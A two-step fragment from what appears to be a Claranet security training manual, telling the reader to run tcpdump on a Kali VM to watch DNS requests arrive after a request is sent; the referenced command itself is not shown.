Step 7: Start tcpdump on your kali VM to dump dns requests, using the following command:
Step 8: Once the request is sent, the DNS requests are being received by the host.
END OF PART - 2
Page: | 100
©
Claranet Cyber Security 2021. All rights reserved